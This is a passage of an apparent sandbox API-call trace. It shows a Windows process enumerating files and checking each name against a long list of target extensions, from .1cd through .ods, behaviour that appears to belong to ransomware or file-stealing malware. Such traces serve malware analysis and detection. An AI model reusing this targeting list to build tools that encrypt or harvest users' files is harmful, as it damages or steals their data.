lpString2=".rtf") returned -1 [0084.921] lstrlenW (lpString=".raf") returned 4 [0084.921] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0084.921] lstrlenW (lpString=".rar") returned 4 [0084.921] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0084.921] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0084.921] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0084.921] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0084.921] FindClose (in: hFindFile=0x4260250 | out: hFindFile=0x4260250) returned 1 [0084.922] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0084.922] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1 [0084.922] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0084.922] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046") returned 26 [0084.922] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260410 [0085.099] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.099] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0085.099] lstrlenW (lpString="eula.rtf") returned 8 [0085.099] lstrlenW (lpString=".1cd") returned 4 [0085.099] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0085.099] lstrlenW (lpString=".3ds") returned 4 [0085.099] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0085.099] lstrlenW (lpString=".3fr") returned 4 [0085.099] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0085.099] lstrlenW (lpString=".3g2") returned 4 [0085.099] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0085.099] lstrlenW (lpString=".3gp") returned 4 [0085.099] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0085.100] lstrlenW (lpString=".7z") returned 3 [0085.100] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0085.100] lstrlenW (lpString=".accda") returned 6 [0085.100] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0085.100] lstrlenW (lpString=".accdb") returned 6 [0085.100] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0085.100] lstrlenW (lpString=".accdc") returned 6 [0085.100] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0085.100] lstrlenW (lpString=".accde") returned 6 [0085.100] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0085.100] lstrlenW (lpString=".accdt") returned 6 [0085.100] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0085.100] lstrlenW (lpString=".accdw") returned 6 [0085.100] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0085.100] lstrlenW (lpString=".adb") returned 4 [0085.100] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0085.100] lstrlenW (lpString=".adp") returned 4 [0085.100] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0085.100] lstrlenW (lpString=".ai") returned 3 [0085.100] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0085.100] lstrlenW (lpString=".ai3") returned 4 [0085.100] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0085.100] lstrlenW (lpString=".ai4") returned 4 [0085.100] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0085.100] lstrlenW (lpString=".ai5") returned 4 [0085.100] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0085.100] lstrlenW (lpString=".ai6") returned 4 [0085.100] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0085.100] lstrlenW (lpString=".ai7") returned 4 [0085.101] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0085.101] lstrlenW (lpString=".ai8") returned 4 [0085.101] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0085.101] lstrlenW (lpString=".anim") returned 5 [0085.101] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0085.101] lstrlenW (lpString=".arw") returned 4 [0085.101] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0085.101] lstrlenW (lpString=".as") returned 3 [0085.101] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0085.101] lstrlenW (lpString=".asa") returned 4 [0085.101] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0085.101] lstrlenW (lpString=".asc") returned 4 [0085.101] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0085.101] lstrlenW (lpString=".ascx") returned 5 [0085.101] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0085.101] lstrlenW (lpString=".asm") returned 4 [0085.101] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0085.101] lstrlenW (lpString=".asmx") returned 5 [0085.101] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0085.101] lstrlenW (lpString=".asp") returned 4 [0085.101] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0085.101] lstrlenW (lpString=".aspx") returned 5 [0085.101] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0085.101] lstrlenW (lpString=".asr") returned 4 [0085.101] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0085.101] lstrlenW (lpString=".asx") returned 4 [0085.101] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0085.101] lstrlenW (lpString=".avi") returned 4 [0085.101] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0085.101] lstrlenW (lpString=".avs") returned 4 [0085.102] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0085.102] lstrlenW (lpString=".backup") returned 7 [0085.102] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0085.102] lstrlenW (lpString=".bak") returned 4 [0085.102] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0085.102] lstrlenW (lpString=".bay") returned 4 [0085.102] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0085.102] lstrlenW (lpString=".bd") returned 3 [0085.102] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0085.102] lstrlenW (lpString=".bin") returned 4 [0085.102] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0085.102] lstrlenW (lpString=".bmp") returned 4 [0085.102] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0085.102] lstrlenW (lpString=".bz2") returned 4 [0085.102] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0085.102] lstrlenW (lpString=".c") returned 2 [0085.102] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0085.102] lstrlenW (lpString=".cdr") returned 4 [0085.102] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0085.102] lstrlenW (lpString=".cer") returned 4 [0085.102] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0085.102] lstrlenW (lpString=".cf") returned 3 [0085.102] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0085.102] lstrlenW (lpString=".cfc") returned 4 [0085.102] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0085.102] lstrlenW (lpString=".cfm") returned 4 [0085.102] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0085.102] lstrlenW (lpString=".cfml") returned 5 [0085.102] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0085.102] lstrlenW (lpString=".cfu") returned 4 [0085.103] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0085.103] lstrlenW (lpString=".chm") returned 4 [0085.103] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0085.103] lstrlenW (lpString=".cin") returned 4 [0085.103] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0085.103] lstrlenW (lpString=".class") returned 6 [0085.103] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0085.103] lstrlenW (lpString=".clx") returned 4 [0085.103] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0085.103] lstrlenW (lpString=".config") returned 7 [0085.103] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0085.103] lstrlenW (lpString=".cpp") returned 4 [0085.103] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0085.103] lstrlenW (lpString=".cr2") returned 4 [0085.103] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0085.103] lstrlenW (lpString=".crt") returned 4 [0085.103] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0085.103] lstrlenW (lpString=".crw") returned 4 [0085.103] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0085.103] lstrlenW (lpString=".cs") returned 3 [0085.103] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0085.103] lstrlenW (lpString=".css") returned 4 [0085.103] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0085.103] lstrlenW (lpString=".csv") returned 4 [0085.103] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0085.103] lstrlenW (lpString=".cub") returned 4 [0085.103] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0085.103] lstrlenW (lpString=".dae") returned 4 [0085.103] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0085.104] lstrlenW (lpString=".dat") returned 4 [0085.104] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0085.104] lstrlenW (lpString=".db") returned 3 [0085.104] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0085.104] lstrlenW (lpString=".dbf") returned 4 [0085.104] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0085.104] lstrlenW (lpString=".dbx") returned 4 [0085.104] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0085.104] lstrlenW (lpString=".dc3") returned 4 [0085.104] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0085.104] lstrlenW (lpString=".dcm") returned 4 [0085.104] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0085.104] lstrlenW (lpString=".dcr") returned 4 [0085.104] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0085.104] lstrlenW (lpString=".der") returned 4 [0085.104] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0085.104] lstrlenW (lpString=".dib") returned 4 [0085.104] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0085.104] lstrlenW (lpString=".dic") returned 4 [0085.104] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0085.104] lstrlenW (lpString=".dif") returned 4 [0085.104] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0085.104] lstrlenW (lpString=".divx") returned 5 [0085.104] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0085.104] lstrlenW (lpString=".djvu") returned 5 [0085.104] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0085.104] lstrlenW (lpString=".dng") returned 4 [0085.104] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0085.104] lstrlenW (lpString=".doc") returned 4 [0085.105] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0085.105] lstrlenW (lpString=".docm") returned 5 [0085.105] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0085.105] lstrlenW (lpString=".docx") returned 5 [0085.105] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0085.105] lstrlenW (lpString=".dot") returned 4 [0085.105] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0085.105] lstrlenW (lpString=".dotm") returned 5 [0085.105] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0085.105] lstrlenW (lpString=".dotx") returned 5 [0085.105] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0085.105] lstrlenW (lpString=".dpx") returned 4 [0085.105] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0085.105] lstrlenW (lpString=".dqy") returned 4 [0085.105] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0085.105] lstrlenW (lpString=".dsn") returned 4 [0085.105] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0085.105] lstrlenW (lpString=".dt") returned 3 [0085.105] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0085.105] lstrlenW (lpString=".dtd") returned 4 [0085.105] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0085.105] lstrlenW (lpString=".dwg") returned 4 [0085.105] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0085.105] lstrlenW (lpString=".dwt") returned 4 [0085.105] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0085.105] lstrlenW (lpString=".dx") returned 3 [0085.105] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0085.105] lstrlenW (lpString=".dxf") returned 4 [0085.105] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0085.105] lstrlenW (lpString=".edml") returned 5 [0085.105] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0085.106] lstrlenW (lpString=".efd") returned 4 [0085.106] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0085.106] lstrlenW (lpString=".elf") returned 4 [0085.106] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0085.106] lstrlenW (lpString=".emf") returned 4 [0085.106] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0085.106] lstrlenW (lpString=".emz") returned 4 [0085.106] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0085.106] lstrlenW (lpString=".epf") returned 4 [0085.106] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0085.106] lstrlenW (lpString=".eps") returned 4 [0085.106] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0085.106] lstrlenW (lpString=".epsf") returned 5 [0085.106] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0085.106] lstrlenW (lpString=".epsp") returned 5 [0085.106] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0085.106] lstrlenW (lpString=".erf") returned 4 [0085.106] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0085.106] lstrlenW (lpString=".exr") returned 4 [0085.106] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0085.106] lstrlenW (lpString=".f4v") returned 4 [0085.106] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0085.106] lstrlenW (lpString=".fido") returned 5 [0085.106] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0085.106] lstrlenW (lpString=".flm") returned 4 [0085.106] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0085.106] lstrlenW (lpString=".flv") returned 4 [0085.106] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0085.106] lstrlenW (lpString=".frm") returned 4 [0085.106] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0085.106] lstrlenW (lpString=".fxg") returned 4 [0085.107] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0085.107] lstrlenW (lpString=".geo") returned 4 [0085.107] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0085.107] lstrlenW (lpString=".gif") returned 4 [0085.107] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0085.107] lstrlenW (lpString=".grs") returned 4 [0085.107] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0085.107] lstrlenW (lpString=".gz") returned 3 [0085.107] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0085.107] lstrlenW (lpString=".h") returned 2 [0085.107] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0085.107] lstrlenW (lpString=".hdr") returned 4 [0085.107] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0085.107] lstrlenW (lpString=".hpp") returned 4 [0085.107] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0085.107] lstrlenW (lpString=".hta") returned 4 [0085.107] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0085.107] lstrlenW (lpString=".htc") returned 4 [0085.107] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0085.107] lstrlenW (lpString=".htm") returned 4 [0085.107] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0085.107] lstrlenW (lpString=".html") returned 5 [0085.107] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0085.107] lstrlenW (lpString=".icb") returned 4 [0085.107] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0085.107] lstrlenW (lpString=".ics") returned 4 [0085.107] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0085.107] lstrlenW (lpString=".iff") returned 4 [0085.107] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0085.107] lstrlenW (lpString=".inc") returned 4 [0085.108] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0085.108] lstrlenW (lpString=".indd") returned 5 [0085.108] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0085.108] lstrlenW (lpString=".ini") returned 4 [0085.108] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0085.108] lstrlenW (lpString=".iqy") returned 4 [0085.108] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0085.108] lstrlenW (lpString=".j2c") returned 4 [0085.108] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0085.108] lstrlenW (lpString=".j2k") returned 4 [0085.108] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0085.108] lstrlenW (lpString=".java") returned 5 [0085.108] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0085.108] lstrlenW (lpString=".jp2") returned 4 [0085.108] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0085.108] lstrlenW (lpString=".jpc") returned 4 [0085.108] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0085.108] lstrlenW (lpString=".jpe") returned 4 [0085.108] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0085.108] lstrlenW (lpString=".jpeg") returned 5 [0085.108] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0085.108] lstrlenW (lpString=".jpf") returned 4 [0085.108] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0085.108] lstrlenW (lpString=".jpg") returned 4 [0085.108] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0085.108] lstrlenW (lpString=".jpx") returned 4 [0085.108] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0085.108] lstrlenW (lpString=".js") returned 3 [0085.108] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0085.108] lstrlenW (lpString=".jsf") returned 4 [0085.108] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0085.108] lstrlenW (lpString=".json") returned 5 [0085.109] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0085.109] lstrlenW (lpString=".jsp") returned 4 [0085.109] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0085.109] lstrlenW (lpString=".kdc") returned 4 [0085.109] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0085.109] lstrlenW (lpString=".kmz") returned 4 [0085.109] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0085.109] lstrlenW (lpString=".kwm") returned 4 [0085.109] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0085.109] lstrlenW (lpString=".lasso") returned 6 [0085.109] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0085.109] lstrlenW (lpString=".lbi") returned 4 [0085.109] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0085.109] lstrlenW (lpString=".lgf") returned 4 [0085.109] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0085.109] lstrlenW (lpString=".lgp") returned 4 [0085.109] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0085.109] lstrlenW (lpString=".log") returned 4 [0085.109] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0085.109] lstrlenW (lpString=".m1v") returned 4 [0085.109] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0085.109] lstrlenW (lpString=".m4a") returned 4 [0085.109] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0085.109] lstrlenW (lpString=".m4v") returned 4 [0085.109] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0085.109] lstrlenW (lpString=".max") returned 4 [0085.109] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0085.109] lstrlenW (lpString=".md") returned 3 [0085.109] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0085.109] lstrlenW (lpString=".mda") returned 4 [0085.110] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0085.110] lstrlenW (lpString=".mdb") returned 4 [0085.110] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0085.110] lstrlenW (lpString=".mde") returned 4 [0085.110] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0085.110] lstrlenW (lpString=".mdf") returned 4 [0085.110] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0085.110] lstrlenW (lpString=".mdw") returned 4 [0085.110] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0085.110] lstrlenW (lpString=".mef") returned 4 [0085.110] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0085.110] lstrlenW (lpString=".mft") returned 4 [0085.110] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0085.110] lstrlenW (lpString=".mfw") returned 4 [0085.110] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0085.110] lstrlenW (lpString=".mht") returned 4 [0085.110] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0085.110] lstrlenW (lpString=".mhtml") returned 6 [0085.110] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0085.110] lstrlenW (lpString=".mka") returned 4 [0085.110] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0085.110] lstrlenW (lpString=".mkidx") returned 6 [0085.110] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0085.110] lstrlenW (lpString=".mkv") returned 4 [0085.110] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0085.110] lstrlenW (lpString=".mos") returned 4 [0085.110] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0085.110] lstrlenW (lpString=".mov") returned 4 [0085.110] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0085.110] lstrlenW (lpString=".mp3") returned 4 [0085.110] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0085.110] lstrlenW (lpString=".mp4") returned 4 [0085.111] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0085.111] lstrlenW (lpString=".mpeg") returned 5 [0085.111] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0085.111] lstrlenW (lpString=".mpg") returned 4 [0085.111] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0085.111] lstrlenW (lpString=".mpv") returned 4 [0085.111] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0085.111] lstrlenW (lpString=".mrw") returned 4 [0085.111] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0085.111] lstrlenW (lpString=".msg") returned 4 [0085.111] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0085.111] lstrlenW (lpString=".mxl") returned 4 [0085.111] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0085.111] lstrlenW (lpString=".myd") returned 4 [0085.111] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0085.111] lstrlenW (lpString=".myi") returned 4 [0085.111] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0085.111] lstrlenW (lpString=".nef") returned 4 [0085.111] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0085.111] lstrlenW (lpString=".nrw") returned 4 [0085.111] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0085.111] lstrlenW (lpString=".obj") returned 4 [0085.111] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0085.111] lstrlenW (lpString=".odb") returned 4 [0085.111] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0085.111] lstrlenW (lpString=".odc") returned 4 [0085.111] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0085.111] lstrlenW (lpString=".odm") returned 4 [0085.112] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0085.112] lstrlenW (lpString=".odp") returned 4 [0085.112] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0085.112] lstrlenW (lpString=".ods") returned 4 [0085.112] lstrcmpiW 